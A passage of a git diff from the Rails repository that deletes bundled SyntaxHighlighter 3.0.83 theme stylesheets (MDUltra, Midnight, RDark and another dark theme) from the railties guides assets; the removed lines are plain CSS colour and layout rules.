-.syntaxhighlighter div,
-.syntaxhighlighter code,
-.syntaxhighlighter table,
-.syntaxhighlighter table td,
-.syntaxhighlighter table tr,
-.syntaxhighlighter table tbody,
-.syntaxhighlighter table thead,
-.syntaxhighlighter table caption,
-.syntaxhighlighter textarea {
- -moz-border-radius: 0 0 0 0 !important;
- -webkit-border-radius: 0 0 0 0 !important;
- background: none !important;
- border: 0 !important;
- bottom: auto !important;
- float: none !important;
- height: auto !important;
- left: auto !important;
- line-height: 1.1em !important;
- margin: 0 !important;
- outline: 0 !important;
- overflow: visible !important;
- padding: 0 !important;
- position: static !important;
- right: auto !important;
- text-align: left !important;
- top: auto !important;
- vertical-align: baseline !important;
- width: auto !important;
- box-sizing: content-box !important;
- font-family: "Consolas", "Bitstream Vera Sans Mono", "Courier New", Courier, monospace !important;
- font-weight: normal !important;
- font-style: normal !important;
- font-size: 1em !important;
- min-height: inherit !important;
- min-height: auto !important;
-}
-
-.syntaxhighlighter {
- width: 100% !important;
- margin: 1em 0 1em 0 !important;
- position: relative !important;
- overflow: auto !important;
- font-size: 1em !important;
-}
-.syntaxhighlighter.source {
- overflow: hidden !important;
-}
-.syntaxhighlighter .bold {
- font-weight: bold !important;
-}
-.syntaxhighlighter .italic {
- font-style: italic !important;
-}
-.syntaxhighlighter .line {
- white-space: pre !important;
-}
-.syntaxhighlighter table {
- width: 100% !important;
-}
-.syntaxhighlighter table caption {
- text-align: left !important;
- padding: .5em 0 0.5em 1em !important;
-}
-.syntaxhighlighter table td.code {
- width: 100% !important;
-}
-.syntaxhighlighter table td.code .container {
- position: relative !important;
-}
-.syntaxhighlighter table td.code .container textarea {
- box-sizing: border-box !important;
- position: absolute !important;
- left: 0 !important;
- top: 0 !important;
- width: 100% !important;
- height: 100% !important;
- border: none !important;
- background: white !important;
- padding-left: 1em !important;
- overflow: hidden !important;
- white-space: pre !important;
-}
-.syntaxhighlighter table td.gutter .line {
- text-align: right !important;
- padding: 0 0.5em 0 1em !important;
-}
-.syntaxhighlighter table td.code .line {
- padding: 0 1em !important;
-}
-.syntaxhighlighter.nogutter td.code .container textarea, .syntaxhighlighter.nogutter td.code .line {
- padding-left: 0em !important;
-}
-.syntaxhighlighter.show {
- display: block !important;
-}
-.syntaxhighlighter.collapsed table {
- display: none !important;
-}
-.syntaxhighlighter.collapsed .toolbar {
- padding: 0.1em 0.8em 0em 0.8em !important;
- font-size: 1em !important;
- position: static !important;
- width: auto !important;
- height: auto !important;
-}
-.syntaxhighlighter.collapsed .toolbar span {
- display: inline !important;
- margin-right: 1em !important;
-}
-.syntaxhighlighter.collapsed .toolbar span a {
- padding: 0 !important;
- display: none !important;
-}
-.syntaxhighlighter.collapsed .toolbar span a.expandSource {
- display: inline !important;
-}
-.syntaxhighlighter .toolbar {
- position: absolute !important;
- right: 1px !important;
- top: 1px !important;
- width: 11px !important;
- height: 11px !important;
- font-size: 10px !important;
- z-index: 10 !important;
-}
-.syntaxhighlighter .toolbar span.title {
- display: inline !important;
-}
-.syntaxhighlighter .toolbar a {
- display: block !important;
- text-align: center !important;
- text-decoration: none !important;
- padding-top: 1px !important;
-}
-.syntaxhighlighter .toolbar a.expandSource {
- display: none !important;
-}
-.syntaxhighlighter.ie {
- font-size: .9em !important;
- padding: 1px 0 1px 0 !important;
-}
-.syntaxhighlighter.ie .toolbar {
- line-height: 8px !important;
-}
-.syntaxhighlighter.ie .toolbar a {
- padding-top: 0px !important;
-}
-.syntaxhighlighter.printing .line.alt1 .content,
-.syntaxhighlighter.printing .line.alt2 .content,
-.syntaxhighlighter.printing .line.highlighted .number,
-.syntaxhighlighter.printing .line.highlighted.alt1 .content,
-.syntaxhighlighter.printing .line.highlighted.alt2 .content {
- background: none !important;
-}
-.syntaxhighlighter.printing .line .number {
- color: #bbbbbb !important;
-}
-.syntaxhighlighter.printing .line .content {
- color: black !important;
-}
-.syntaxhighlighter.printing .toolbar {
- display: none !important;
-}
-.syntaxhighlighter.printing a {
- text-decoration: none !important;
-}
-.syntaxhighlighter.printing .plain, .syntaxhighlighter.printing .plain a {
- color: black !important;
-}
-.syntaxhighlighter.printing .comments, .syntaxhighlighter.printing .comments a {
- color: #008200 !important;
-}
-.syntaxhighlighter.printing .string, .syntaxhighlighter.printing .string a {
- color: blue !important;
-}
-.syntaxhighlighter.printing .keyword {
- color: #006699 !important;
- font-weight: bold !important;
-}
-.syntaxhighlighter.printing .preprocessor {
- color: gray !important;
-}
-.syntaxhighlighter.printing .variable {
- color: #aa7700 !important;
-}
-.syntaxhighlighter.printing .value {
- color: #009900 !important;
-}
-.syntaxhighlighter.printing .functions {
- color: #ff1493 !important;
-}
-.syntaxhighlighter.printing .constants {
- color: #0066cc !important;
-}
-.syntaxhighlighter.printing .script {
- font-weight: bold !important;
-}
-.syntaxhighlighter.printing .color1, .syntaxhighlighter.printing .color1 a {
- color: gray !important;
-}
-.syntaxhighlighter.printing .color2, .syntaxhighlighter.printing .color2 a {
- color: #ff1493 !important;
-}
-.syntaxhighlighter.printing .color3, .syntaxhighlighter.printing .color3 a {
- color: red !important;
-}
-.syntaxhighlighter.printing .break, .syntaxhighlighter.printing .break a {
- color: black !important;
-}
-
-.syntaxhighlighter {
- background-color: #121212 !important;
-}
-.syntaxhighlighter .line.alt1 {
- background-color: #121212 !important;
-}
-.syntaxhighlighter .line.alt2 {
- background-color: #121212 !important;
-}
-.syntaxhighlighter .line.highlighted.alt1, .syntaxhighlighter .line.highlighted.alt2 {
- background-color: #2c2c29 !important;
-}
-.syntaxhighlighter .line.highlighted.number {
- color: white !important;
-}
-.syntaxhighlighter table caption {
- color: white !important;
-}
-.syntaxhighlighter .gutter {
- color: #afafaf !important;
-}
-.syntaxhighlighter .gutter .line {
- border-right: 3px solid #3185b9 !important;
-}
-.syntaxhighlighter .gutter .line.highlighted {
- background-color: #3185b9 !important;
- color: #121212 !important;
-}
-.syntaxhighlighter.printing .line .content {
- border: none !important;
-}
-.syntaxhighlighter.collapsed {
- overflow: visible !important;
-}
-.syntaxhighlighter.collapsed .toolbar {
- color: #3185b9 !important;
- background: black !important;
- border: 1px solid #3185b9 !important;
-}
-.syntaxhighlighter.collapsed .toolbar a {
- color: #3185b9 !important;
-}
-.syntaxhighlighter.collapsed .toolbar a:hover {
- color: #d01d33 !important;
-}
-.syntaxhighlighter .toolbar {
- color: white !important;
- background: #3185b9 !important;
- border: none !important;
-}
-.syntaxhighlighter .toolbar a {
- color: white !important;
-}
-.syntaxhighlighter .toolbar a:hover {
- color: #96daff !important;
-}
-.syntaxhighlighter .plain, .syntaxhighlighter .plain a {
- color: white !important;
-}
-.syntaxhighlighter .comments, .syntaxhighlighter .comments a {
- color: #696854 !important;
-}
-.syntaxhighlighter .string, .syntaxhighlighter .string a {
- color: #e3e658 !important;
-}
-.syntaxhighlighter .keyword {
- color: #d01d33 !important;
-}
-.syntaxhighlighter .preprocessor {
- color: #435a5f !important;
-}
-.syntaxhighlighter .variable {
- color: #898989 !important;
-}
-.syntaxhighlighter .value {
- color: #009900 !important;
-}
-.syntaxhighlighter .functions {
- color: #aaaaaa !important;
-}
-.syntaxhighlighter .constants {
- color: #96daff !important;
-}
-.syntaxhighlighter .script {
- font-weight: bold !important;
- color: #d01d33 !important;
- background-color: none !important;
-}
-.syntaxhighlighter .color1, .syntaxhighlighter .color1 a {
- color: #ffc074 !important;
-}
-.syntaxhighlighter .color2, .syntaxhighlighter .color2 a {
- color: #4a8cdb !important;
-}
-.syntaxhighlighter .color3, .syntaxhighlighter .color3 a {
- color: #96daff !important;
-}
-
-.syntaxhighlighter .functions {
- font-weight: bold !important;
-}
diff --git a/railties/guides/assets/stylesheets/syntaxhighlighter/shCoreMDUltra.css b/railties/guides/assets/stylesheets/syntaxhighlighter/shCoreMDUltra.css
deleted file mode 100644
index 2923ce7367..0000000000
--- a/railties/guides/assets/stylesheets/syntaxhighlighter/shCoreMDUltra.css
+++ /dev/null
@@ -1,324 +0,0 @@
-/**
- * SyntaxHighlighter
- * http://alexgorbatchev.com/SyntaxHighlighter
- *
- * SyntaxHighlighter is donationware. If you are using it, please donate.
- * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
- *
- * @version
- * 3.0.83 (July 02 2010)
- *
- * @copyright
- * Copyright (C) 2004-2010 Alex Gorbatchev.
- *
- * @license
- * Dual licensed under the MIT and GPL licenses.
- */
-.syntaxhighlighter a,
-.syntaxhighlighter div,
-.syntaxhighlighter code,
-.syntaxhighlighter table,
-.syntaxhighlighter table td,
-.syntaxhighlighter table tr,
-.syntaxhighlighter table tbody,
-.syntaxhighlighter table thead,
-.syntaxhighlighter table caption,
-.syntaxhighlighter textarea {
- -moz-border-radius: 0 0 0 0 !important;
- -webkit-border-radius: 0 0 0 0 !important;
- background: none !important;
- border: 0 !important;
- bottom: auto !important;
- float: none !important;
- height: auto !important;
- left: auto !important;
- line-height: 1.1em !important;
- margin: 0 !important;
- outline: 0 !important;
- overflow: visible !important;
- padding: 0 !important;
- position: static !important;
- right: auto !important;
- text-align: left !important;
- top: auto !important;
- vertical-align: baseline !important;
- width: auto !important;
- box-sizing: content-box !important;
- font-family: "Consolas", "Bitstream Vera Sans Mono", "Courier New", Courier, monospace !important;
- font-weight: normal !important;
- font-style: normal !important;
- font-size: 1em !important;
- min-height: inherit !important;
- min-height: auto !important;
-}
-
-.syntaxhighlighter {
- width: 100% !important;
- margin: 1em 0 1em 0 !important;
- position: relative !important;
- overflow: auto !important;
- font-size: 1em !important;
-}
-.syntaxhighlighter.source {
- overflow: hidden !important;
-}
-.syntaxhighlighter .bold {
- font-weight: bold !important;
-}
-.syntaxhighlighter .italic {
- font-style: italic !important;
-}
-.syntaxhighlighter .line {
- white-space: pre !important;
-}
-.syntaxhighlighter table {
- width: 100% !important;
-}
-.syntaxhighlighter table caption {
- text-align: left !important;
- padding: .5em 0 0.5em 1em !important;
-}
-.syntaxhighlighter table td.code {
- width: 100% !important;
-}
-.syntaxhighlighter table td.code .container {
- position: relative !important;
-}
-.syntaxhighlighter table td.code .container textarea {
- box-sizing: border-box !important;
- position: absolute !important;
- left: 0 !important;
- top: 0 !important;
- width: 100% !important;
- height: 100% !important;
- border: none !important;
- background: white !important;
- padding-left: 1em !important;
- overflow: hidden !important;
- white-space: pre !important;
-}
-.syntaxhighlighter table td.gutter .line {
- text-align: right !important;
- padding: 0 0.5em 0 1em !important;
-}
-.syntaxhighlighter table td.code .line {
- padding: 0 1em !important;
-}
-.syntaxhighlighter.nogutter td.code .container textarea, .syntaxhighlighter.nogutter td.code .line {
- padding-left: 0em !important;
-}
-.syntaxhighlighter.show {
- display: block !important;
-}
-.syntaxhighlighter.collapsed table {
- display: none !important;
-}
-.syntaxhighlighter.collapsed .toolbar {
- padding: 0.1em 0.8em 0em 0.8em !important;
- font-size: 1em !important;
- position: static !important;
- width: auto !important;
- height: auto !important;
-}
-.syntaxhighlighter.collapsed .toolbar span {
- display: inline !important;
- margin-right: 1em !important;
-}
-.syntaxhighlighter.collapsed .toolbar span a {
- padding: 0 !important;
- display: none !important;
-}
-.syntaxhighlighter.collapsed .toolbar span a.expandSource {
- display: inline !important;
-}
-.syntaxhighlighter .toolbar {
- position: absolute !important;
- right: 1px !important;
- top: 1px !important;
- width: 11px !important;
- height: 11px !important;
- font-size: 10px !important;
- z-index: 10 !important;
-}
-.syntaxhighlighter .toolbar span.title {
- display: inline !important;
-}
-.syntaxhighlighter .toolbar a {
- display: block !important;
- text-align: center !important;
- text-decoration: none !important;
- padding-top: 1px !important;
-}
-.syntaxhighlighter .toolbar a.expandSource {
- display: none !important;
-}
-.syntaxhighlighter.ie {
- font-size: .9em !important;
- padding: 1px 0 1px 0 !important;
-}
-.syntaxhighlighter.ie .toolbar {
- line-height: 8px !important;
-}
-.syntaxhighlighter.ie .toolbar a {
- padding-top: 0px !important;
-}
-.syntaxhighlighter.printing .line.alt1 .content,
-.syntaxhighlighter.printing .line.alt2 .content,
-.syntaxhighlighter.printing .line.highlighted .number,
-.syntaxhighlighter.printing .line.highlighted.alt1 .content,
-.syntaxhighlighter.printing .line.highlighted.alt2 .content {
- background: none !important;
-}
-.syntaxhighlighter.printing .line .number {
- color: #bbbbbb !important;
-}
-.syntaxhighlighter.printing .line .content {
- color: black !important;
-}
-.syntaxhighlighter.printing .toolbar {
- display: none !important;
-}
-.syntaxhighlighter.printing a {
- text-decoration: none !important;
-}
-.syntaxhighlighter.printing .plain, .syntaxhighlighter.printing .plain a {
- color: black !important;
-}
-.syntaxhighlighter.printing .comments, .syntaxhighlighter.printing .comments a {
- color: #008200 !important;
-}
-.syntaxhighlighter.printing .string, .syntaxhighlighter.printing .string a {
- color: blue !important;
-}
-.syntaxhighlighter.printing .keyword {
- color: #006699 !important;
- font-weight: bold !important;
-}
-.syntaxhighlighter.printing .preprocessor {
- color: gray !important;
-}
-.syntaxhighlighter.printing .variable {
- color: #aa7700 !important;
-}
-.syntaxhighlighter.printing .value {
- color: #009900 !important;
-}
-.syntaxhighlighter.printing .functions {
- color: #ff1493 !important;
-}
-.syntaxhighlighter.printing .constants {
- color: #0066cc !important;
-}
-.syntaxhighlighter.printing .script {
- font-weight: bold !important;
-}
-.syntaxhighlighter.printing .color1, .syntaxhighlighter.printing .color1 a {
- color: gray !important;
-}
-.syntaxhighlighter.printing .color2, .syntaxhighlighter.printing .color2 a {
- color: #ff1493 !important;
-}
-.syntaxhighlighter.printing .color3, .syntaxhighlighter.printing .color3 a {
- color: red !important;
-}
-.syntaxhighlighter.printing .break, .syntaxhighlighter.printing .break a {
- color: black !important;
-}
-
-.syntaxhighlighter {
- background-color: #222222 !important;
-}
-.syntaxhighlighter .line.alt1 {
- background-color: #222222 !important;
-}
-.syntaxhighlighter .line.alt2 {
- background-color: #222222 !important;
-}
-.syntaxhighlighter .line.highlighted.alt1, .syntaxhighlighter .line.highlighted.alt2 {
- background-color: #253e5a !important;
-}
-.syntaxhighlighter .line.highlighted.number {
- color: white !important;
-}
-.syntaxhighlighter table caption {
- color: lime !important;
-}
-.syntaxhighlighter .gutter {
- color: #38566f !important;
-}
-.syntaxhighlighter .gutter .line {
- border-right: 3px solid #435a5f !important;
-}
-.syntaxhighlighter .gutter .line.highlighted {
- background-color: #435a5f !important;
- color: #222222 !important;
-}
-.syntaxhighlighter.printing .line .content {
- border: none !important;
-}
-.syntaxhighlighter.collapsed {
- overflow: visible !important;
-}
-.syntaxhighlighter.collapsed .toolbar {
- color: #428bdd !important;
- background: black !important;
- border: 1px solid #435a5f !important;
-}
-.syntaxhighlighter.collapsed .toolbar a {
- color: #428bdd !important;
-}
-.syntaxhighlighter.collapsed .toolbar a:hover {
- color: lime !important;
-}
-.syntaxhighlighter .toolbar {
- color: #aaaaff !important;
- background: #435a5f !important;
- border: none !important;
-}
-.syntaxhighlighter .toolbar a {
- color: #aaaaff !important;
-}
-.syntaxhighlighter .toolbar a:hover {
- color: #9ccff4 !important;
-}
-.syntaxhighlighter .plain, .syntaxhighlighter .plain a {
- color: lime !important;
-}
-.syntaxhighlighter .comments, .syntaxhighlighter .comments a {
- color: #428bdd !important;
-}
-.syntaxhighlighter .string, .syntaxhighlighter .string a {
- color: lime !important;
-}
-.syntaxhighlighter .keyword {
- color: #aaaaff !important;
-}
-.syntaxhighlighter .preprocessor {
- color: #8aa6c1 !important;
-}
-.syntaxhighlighter .variable {
- color: aqua !important;
-}
-.syntaxhighlighter .value {
- color: #f7e741 !important;
-}
-.syntaxhighlighter .functions {
- color: #ff8000 !important;
-}
-.syntaxhighlighter .constants {
- color: yellow !important;
-}
-.syntaxhighlighter .script {
- font-weight: bold !important;
- color: #aaaaff !important;
- background-color: none !important;
-}
-.syntaxhighlighter .color1, .syntaxhighlighter .color1 a {
- color: red !important;
-}
-.syntaxhighlighter .color2, .syntaxhighlighter .color2 a {
- color: yellow !important;
-}
-.syntaxhighlighter .color3, .syntaxhighlighter .color3 a {
- color: #ffaa3e !important;
-}
diff --git a/railties/guides/assets/stylesheets/syntaxhighlighter/shCoreMidnight.css b/railties/guides/assets/stylesheets/syntaxhighlighter/shCoreMidnight.css
deleted file mode 100644
index e3733eed56..0000000000
--- a/railties/guides/assets/stylesheets/syntaxhighlighter/shCoreMidnight.css
+++ /dev/null
@@ -1,324 +0,0 @@
-/**
- * SyntaxHighlighter
- * http://alexgorbatchev.com/SyntaxHighlighter
- *
- * SyntaxHighlighter is donationware. If you are using it, please donate.
- * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
- *
- * @version
- * 3.0.83 (July 02 2010)
- *
- * @copyright
- * Copyright (C) 2004-2010 Alex Gorbatchev.
- *
- * @license
- * Dual licensed under the MIT and GPL licenses.
- */
-.syntaxhighlighter a,
-.syntaxhighlighter div,
-.syntaxhighlighter code,
-.syntaxhighlighter table,
-.syntaxhighlighter table td,
-.syntaxhighlighter table tr,
-.syntaxhighlighter table tbody,
-.syntaxhighlighter table thead,
-.syntaxhighlighter table caption,
-.syntaxhighlighter textarea {
- -moz-border-radius: 0 0 0 0 !important;
- -webkit-border-radius: 0 0 0 0 !important;
- background: none !important;
- border: 0 !important;
- bottom: auto !important;
- float: none !important;
- height: auto !important;
- left: auto !important;
- line-height: 1.1em !important;
- margin: 0 !important;
- outline: 0 !important;
- overflow: visible !important;
- padding: 0 !important;
- position: static !important;
- right: auto !important;
- text-align: left !important;
- top: auto !important;
- vertical-align: baseline !important;
- width: auto !important;
- box-sizing: content-box !important;
- font-family: "Consolas", "Bitstream Vera Sans Mono", "Courier New", Courier, monospace !important;
- font-weight: normal !important;
- font-style: normal !important;
- font-size: 1em !important;
- min-height: inherit !important;
- min-height: auto !important;
-}
-
-.syntaxhighlighter {
- width: 100% !important;
- margin: 1em 0 1em 0 !important;
- position: relative !important;
- overflow: auto !important;
- font-size: 1em !important;
-}
-.syntaxhighlighter.source {
- overflow: hidden !important;
-}
-.syntaxhighlighter .bold {
- font-weight: bold !important;
-}
-.syntaxhighlighter .italic {
- font-style: italic !important;
-}
-.syntaxhighlighter .line {
- white-space: pre !important;
-}
-.syntaxhighlighter table {
- width: 100% !important;
-}
-.syntaxhighlighter table caption {
- text-align: left !important;
- padding: .5em 0 0.5em 1em !important;
-}
-.syntaxhighlighter table td.code {
- width: 100% !important;
-}
-.syntaxhighlighter table td.code .container {
- position: relative !important;
-}
-.syntaxhighlighter table td.code .container textarea {
- box-sizing: border-box !important;
- position: absolute !important;
- left: 0 !important;
- top: 0 !important;
- width: 100% !important;
- height: 100% !important;
- border: none !important;
- background: white !important;
- padding-left: 1em !important;
- overflow: hidden !important;
- white-space: pre !important;
-}
-.syntaxhighlighter table td.gutter .line {
- text-align: right !important;
- padding: 0 0.5em 0 1em !important;
-}
-.syntaxhighlighter table td.code .line {
- padding: 0 1em !important;
-}
-.syntaxhighlighter.nogutter td.code .container textarea, .syntaxhighlighter.nogutter td.code .line {
- padding-left: 0em !important;
-}
-.syntaxhighlighter.show {
- display: block !important;
-}
-.syntaxhighlighter.collapsed table {
- display: none !important;
-}
-.syntaxhighlighter.collapsed .toolbar {
- padding: 0.1em 0.8em 0em 0.8em !important;
- font-size: 1em !important;
- position: static !important;
- width: auto !important;
- height: auto !important;
-}
-.syntaxhighlighter.collapsed .toolbar span {
- display: inline !important;
- margin-right: 1em !important;
-}
-.syntaxhighlighter.collapsed .toolbar span a {
- padding: 0 !important;
- display: none !important;
-}
-.syntaxhighlighter.collapsed .toolbar span a.expandSource {
- display: inline !important;
-}
-.syntaxhighlighter .toolbar {
- position: absolute !important;
- right: 1px !important;
- top: 1px !important;
- width: 11px !important;
- height: 11px !important;
- font-size: 10px !important;
- z-index: 10 !important;
-}
-.syntaxhighlighter .toolbar span.title {
- display: inline !important;
-}
-.syntaxhighlighter .toolbar a {
- display: block !important;
- text-align: center !important;
- text-decoration: none !important;
- padding-top: 1px !important;
-}
-.syntaxhighlighter .toolbar a.expandSource {
- display: none !important;
-}
-.syntaxhighlighter.ie {
- font-size: .9em !important;
- padding: 1px 0 1px 0 !important;
-}
-.syntaxhighlighter.ie .toolbar {
- line-height: 8px !important;
-}
-.syntaxhighlighter.ie .toolbar a {
- padding-top: 0px !important;
-}
-.syntaxhighlighter.printing .line.alt1 .content,
-.syntaxhighlighter.printing .line.alt2 .content,
-.syntaxhighlighter.printing .line.highlighted .number,
-.syntaxhighlighter.printing .line.highlighted.alt1 .content,
-.syntaxhighlighter.printing .line.highlighted.alt2 .content {
- background: none !important;
-}
-.syntaxhighlighter.printing .line .number {
- color: #bbbbbb !important;
-}
-.syntaxhighlighter.printing .line .content {
- color: black !important;
-}
-.syntaxhighlighter.printing .toolbar {
- display: none !important;
-}
-.syntaxhighlighter.printing a {
- text-decoration: none !important;
-}
-.syntaxhighlighter.printing .plain, .syntaxhighlighter.printing .plain a {
- color: black !important;
-}
-.syntaxhighlighter.printing .comments, .syntaxhighlighter.printing .comments a {
- color: #008200 !important;
-}
-.syntaxhighlighter.printing .string, .syntaxhighlighter.printing .string a {
- color: blue !important;
-}
-.syntaxhighlighter.printing .keyword {
- color: #006699 !important;
- font-weight: bold !important;
-}
-.syntaxhighlighter.printing .preprocessor {
- color: gray !important;
-}
-.syntaxhighlighter.printing .variable {
- color: #aa7700 !important;
-}
-.syntaxhighlighter.printing .value {
- color: #009900 !important;
-}
-.syntaxhighlighter.printing .functions {
- color: #ff1493 !important;
-}
-.syntaxhighlighter.printing .constants {
- color: #0066cc !important;
-}
-.syntaxhighlighter.printing .script {
- font-weight: bold !important;
-}
-.syntaxhighlighter.printing .color1, .syntaxhighlighter.printing .color1 a {
- color: gray !important;
-}
-.syntaxhighlighter.printing .color2, .syntaxhighlighter.printing .color2 a {
- color: #ff1493 !important;
-}
-.syntaxhighlighter.printing .color3, .syntaxhighlighter.printing .color3 a {
- color: red !important;
-}
-.syntaxhighlighter.printing .break, .syntaxhighlighter.printing .break a {
- color: black !important;
-}
-
-.syntaxhighlighter {
- background-color: #0f192a !important;
-}
-.syntaxhighlighter .line.alt1 {
- background-color: #0f192a !important;
-}
-.syntaxhighlighter .line.alt2 {
- background-color: #0f192a !important;
-}
-.syntaxhighlighter .line.highlighted.alt1, .syntaxhighlighter .line.highlighted.alt2 {
- background-color: #253e5a !important;
-}
-.syntaxhighlighter .line.highlighted.number {
- color: #38566f !important;
-}
-.syntaxhighlighter table caption {
- color: #d1edff !important;
-}
-.syntaxhighlighter .gutter {
- color: #afafaf !important;
-}
-.syntaxhighlighter .gutter .line {
- border-right: 3px solid #435a5f !important;
-}
-.syntaxhighlighter .gutter .line.highlighted {
- background-color: #435a5f !important;
- color: #0f192a !important;
-}
-.syntaxhighlighter.printing .line .content {
- border: none !important;
-}
-.syntaxhighlighter.collapsed {
- overflow: visible !important;
-}
-.syntaxhighlighter.collapsed .toolbar {
- color: #428bdd !important;
- background: black !important;
- border: 1px solid #435a5f !important;
-}
-.syntaxhighlighter.collapsed .toolbar a {
- color: #428bdd !important;
-}
-.syntaxhighlighter.collapsed .toolbar a:hover {
- color: #1dc116 !important;
-}
-.syntaxhighlighter .toolbar {
- color: #d1edff !important;
- background: #435a5f !important;
- border: none !important;
-}
-.syntaxhighlighter .toolbar a {
- color: #d1edff !important;
-}
-.syntaxhighlighter .toolbar a:hover {
- color: #8aa6c1 !important;
-}
-.syntaxhighlighter .plain, .syntaxhighlighter .plain a {
- color: #d1edff !important;
-}
-.syntaxhighlighter .comments, .syntaxhighlighter .comments a {
- color: #428bdd !important;
-}
-.syntaxhighlighter .string, .syntaxhighlighter .string a {
- color: #1dc116 !important;
-}
-.syntaxhighlighter .keyword {
- color: #b43d3d !important;
-}
-.syntaxhighlighter .preprocessor {
- color: #8aa6c1 !important;
-}
-.syntaxhighlighter .variable {
- color: #ffaa3e !important;
-}
-.syntaxhighlighter .value {
- color: #f7e741 !important;
-}
-.syntaxhighlighter .functions {
- color: #ffaa3e !important;
-}
-.syntaxhighlighter .constants {
- color: #e0e8ff !important;
-}
-.syntaxhighlighter .script {
- font-weight: bold !important;
- color: #b43d3d !important;
- background-color: none !important;
-}
-.syntaxhighlighter .color1, .syntaxhighlighter .color1 a {
- color: #f8bb00 !important;
-}
-.syntaxhighlighter .color2, .syntaxhighlighter .color2 a {
- color: white !important;
-}
-.syntaxhighlighter .color3, .syntaxhighlighter .color3 a {
- color: #ffaa3e !important;
-}
diff --git a/railties/guides/assets/stylesheets/syntaxhighlighter/shCoreRDark.css b/railties/guides/assets/stylesheets/syntaxhighlighter/shCoreRDark.css
deleted file mode 100644
index d09368384d..0000000000
--- a/railties/guides/assets/stylesheets/syntaxhighlighter/shCoreRDark.css
+++ /dev/null
@@ -1,324 +0,0 @@
-/**
- * SyntaxHighlighter
- * http://alexgorbatchev.com/SyntaxHighlighter
- *
- * SyntaxHighlighter is donationware. If you are using it, please donate.
- * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
- *
- * @version
- * 3.0.83 (July 02 2010)
- *
- * @copyright
- * Copyright (C) 2004-2010 Alex Gorbatchev.
- *
- * @license
- * Dual licensed under the MIT and GPL licenses.
- */
-.syntaxhighlighter a,
-.syntaxhighlighter div,
-.syntaxhighlighter code,
-.syntaxhighlighter table,
-.syntaxhighlighter table td,
-.syntaxhighlighter table tr,
-.syntaxhighlighter table tbody,
-.syntaxhighlighter table thead,
-.syntaxhighlighter table caption,
-.syntaxhighlighter textarea {
- -moz-border-radius: 0 0 0 0 !important;
- -webkit-border-radius: 0 0 0 0 !important;
- background: none !important;
- border: 0 !important;
- bottom: auto !important;
- float: none !important;
- height: auto !important;
- left: auto !important;
- line-height: 1.1em !important;
- margin: 0 !important;
- outline: 0 !important;
- overflow: visible !important;
- padding: 0 !important;
- position: static !important;
- right: auto !important;
- text-align: left !important;
- top: auto !important;
- vertical-align: baseline !important;
- width: auto !important;
- box-sizing: content-box !important;
- font-family: "Consolas", "Bitstream Vera Sans Mono", "Courier New", Courier, monospace !important;
- font-weight: normal !important;
- font-style: normal !important;
- font-size: 1em !important;
- min-height: inherit !important;
- min-height: auto !important;
-}
-
-.syntaxhighlighter {
- width: 100% !important;
- margin: 1em 0 1em 0 !important;
- position: relative !important;
- overflow: auto !important;
- font-size: 1em !important;
-}
-.syntaxhighlighter.source {
- overflow: hidden !important;
-}
-.syntaxhighlighter .bold {
- font-weight: bold !important;
-}
-.syntaxhighlighter .italic {
- font-style: italic !important;
-}
-.syntaxhighlighter .line {
- white-space: pre !important;
-}
-.syntaxhighlighter table {
- width: 100% !important;
-}
-.syntaxhighlighter table caption {
- text-align: left !important;
- padding: .5em 0 0.5em 1em !important;
-}
-.syntaxhighlighter table td.code {
- width: 100% !important;
-}
-.syntaxhighlighter table td.code .container {
- position: relative !important;
-}
-.syntaxhighlighter table td.code .container textarea {
- box-sizing: border-box !important;
- position: absolute !important;
- left: 0 !important;
- top: 0 !important;
- width: 100% !important;
- height: 100% !important;
- border: none !important;
- background: white !important;
- padding-left: 1em !important;
- overflow: hidden !important;
- white-space: pre !important;
-}
-.syntaxhighlighter table td.gutter .line {
- text-align: right !important;
- padding: 0 0.5em 0 1em !important;
-}
-.syntaxhighlighter table td.code .line {
- padding: 0 1em !important;
-}
-.syntaxhighlighter.nogutter td.code .container textarea, .syntaxhighlighter.nogutter td.code .line {
- padding-left: 0em !important;
-}
-.syntaxhighlighter.show {
- display: block !important;
-}
-.syntaxhighlighter.collapsed table {
- display: none !important;
-}
-.syntaxhighlighter.collapsed .toolbar {
- padding: 0.1em 0.8em 0em 0.8em !important;
- font-size: 1em !important;
- position: static !important;
- width: auto !important;
- height: auto !important;
-}
-.syntaxhighlighter.collapsed .toolbar span {
- display: inline !important;
- margin-right: 1em !important;
-}
-.syntaxhighlighter.collapsed .toolbar span a {
- padding: 0 !important;
- display: none !important;
-}
-.syntaxhighlighter.collapsed .toolbar span a.expandSource {
- display: inline !important;
-}
-.syntaxhighlighter .toolbar {
- position: absolute !important;
- right: 1px !important;
- top: 1px !important;
- width: 11px !important;
- height: 11px !important;
- font-size: 10px !important;
- z-index: 10 !important;
-}
-.syntaxhighlighter .toolbar span.title {
- display: inline !important;
-}
-.syntaxhighlighter .toolbar a {
- display: block !important;
- text-align: center !important;
- text-decoration: none !important;
- padding-top: 1px !important;
-}
-.syntaxhighlighter .toolbar a.expandSource {
- display: none !important;
-}
-.syntaxhighlighter.ie {
- font-size: .9em !important;
- padding: 1px 0 1px 0 !important;
-}
-.syntaxhighlighter.ie .toolbar {
- line-height: 8px !important;
-}
-.syntaxhighlighter.ie .toolbar a {
- padding-top: 0px !important;
-}
-.syntaxhighlighter.printing .line.alt1 .content,
-.syntaxhighlighter.printing .line.alt2 .content,
-.syntaxhighlighter.printing .line.highlighted .number,
-.syntaxhighlighter.printing .line.highlighted.alt1 .content,
-.syntaxhighlighter.printing .line.highlighted.alt2 .content {
- background: none !important;
-}
-.syntaxhighlighter.printing .line .number {
- color: #bbbbbb !important;
-}
-.syntaxhighlighter.printing .line .content {
- color: black !important;
-}
-.syntaxhighlighter.printing .toolbar {
- display: none !important;
-}
-.syntaxhighlighter.printing a {
- text-decoration: none !important;
-}
-.syntaxhighlighter.printing .plain, .syntaxhighlighter.printing .plain a {
- color: black !important;
-}
-.syntaxhighlighter.printing .comments, .syntaxhighlighter.printing .comments a {
- color: #008200 !important;
-}
-.syntaxhighlighter.printing .string, .syntaxhighlighter.printing .string a {
- color: blue !important;
-}
-.syntaxhighlighter.printing .keyword {
- color: #006699 !important;
- font-weight: bold !important;
-}
-.syntaxhighlighter.printing .preprocessor {
- color: gray !important;
-}
-.syntaxhighlighter.printing .variable {
- color: #aa7700 !important;
-}
-.syntaxhighlighter.printing .value {
- color: #009900 !important;
-}
-.syntaxhighlighter.printing .functions {
- color: #ff1493 !important;
-}
